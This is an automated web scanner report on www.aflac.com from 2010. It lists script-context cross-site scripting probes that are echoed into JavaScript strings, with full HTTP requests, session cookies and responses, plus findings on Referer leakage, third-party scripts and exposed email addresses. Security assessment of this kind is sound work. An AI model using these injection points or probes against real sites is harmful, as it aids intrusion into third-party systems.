<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/handlers/ResourceLoader.aspxc8497';43c4ae922cf'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload bc8ba'%3bddb975dd334 was submitted in the REST URL parameter 1. This input was echoed as bc8ba';ddb975dd334 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlersbc8ba'%3bddb975dd334/StockQuote.ashx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:15 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37622
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/handlersbc8ba';ddb975dd334/StockQuote.ashx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashva ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload e9e61'%3bacb08ba9c61 was submitted in the REST URL parameter 2. This input was echoed as e9e61';acb08ba9c61 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /handlers/StockQuote.ashxe9e61'%3bacb08ba9c61 HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:16 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37759
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/404.aspx?404;http://www.aflac.com:80/handlers/StockQuote.ashxe9e61';acb08ba9c61'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
The value of REST URL parameter 1 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 88742'%3bedc33aa4668 was submitted in the REST URL parameter 1. This input was echoed as 88742';edc33aa4668 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /individuals88742'%3bedc33aa4668/whyaflac.aspx HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:38 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 37432
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/individuals88742';edc33aa4668/whyaflac.aspx'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars ...[SNIP]...
The value of REST URL parameter 2 is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 4bb92'%3bcecac4a8e60 was submitted in the REST URL parameter 2. This input was echoed as 4bb92';cecac4a8e60 in the application's response.
This behaviour demonstrates that it is possible to terminate the JavaScript string into which our data is being copied. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /individuals/whyaflac.aspx4bb92'%3bcecac4a8e60 HTTP/1.1 Host: www.aflac.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: fsr.s={"v":1,"rid":"1290273759381_501136","pv":1,"to":3,"c":"http://www.aflac.com/agents/default.aspx","lc":{"d0":{"v":1,"s":true}},"cd":0,"sd":0}; WT_FPC=id=C.I.D.R-1431159328.30107607:lv=1290277357643:ss=1290277357643; fsr.a=1290273757197; MainNavItem=agents; ASP.NET_SessionId=trvvb355ith0fy45ktcp3xrq;
Response
HTTP/1.1 200 OK Connection: close Date: Sat, 20 Nov 2010 17:43:41 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Cache-Control: private Content-Type: text/html; charset=utf-8 Content-Length: 38162
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" > <head><title> American Family Life A ...[SNIP]... <script type="text/javascript"> $(document).ready(function(){ try { var url = '/apps/404.aspx?404;http://www.aflac.com:80/individuals/whyaflac.aspx4bb92';cecac4a8e60'; var selectByID = 'FALSE'; var flashvars; var params; if(selectByID == 'TRUE') { var folders = url.split('/',3); flashvars = { content: ...[SNIP]...
2. Cross-domain Referer leakagepreviousnext There are 3 instances of this issue:
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.
However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.
Issue remediation
You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).
HTTP/1.1 200 OK Date: Sat, 20 Nov 2010 18:15:12 GMT Server: Microsoft-IIS/6.0 ETag: X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=5zm2xtiqmlu5bky3ip4pa155; path=/; HttpOnly Cache-Control: public, must-revalidate, proxy-revalidate, max-age=2592000 Expires: Mon, 20 Dec 2010 18:15:12 GMT Content-Type: text/javascript; charset=utf-8 Content-Length: 439475
/* * jQuery JavaScript Library v1.3.2 * http://jquery.com/ * * Copyright (c) 2009 John Resig * Dual licensed under the MIT and GPL licenses. * http://docs.jquery.com/License * * Date: ...[SNIP]... <brian@cherne.net> ...[SNIP]... ll be set and the cookie transmission will * require a secure protocol (like HTTPS). * @type undefined * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */
/** * Get the value of a cookie with the given name. * * @example $.cookie('the_cookie'); * @desc Get the value of a cookie. * * @param String name The name of the cookie. * @return The value of the cookie. * @type String * * @name $.cookie * @cat Plugins/Cookie * @author Klaus Hartl/klaus.hartl@stilbuero.de */ jQuery.cookie = function(name, value, options) { if (typeof value != 'undefined') { // name and value given, set cookie options = options || {}; if (value === null) {
...[SNIP]... llbacks. The functions will be passed an argument that represents an array of elements that * are visible at the time of callback. * * * @cat Plugins/Image Gallery * @author Ganeshji Marwaha/ganeshread@gmail.com */
(function($) { // Compliant with jquery.noConflict() $.fn.jCarouselLite = function(o) { o = $.extend({ btnPrev: null, btnNext: ...[SNIP]...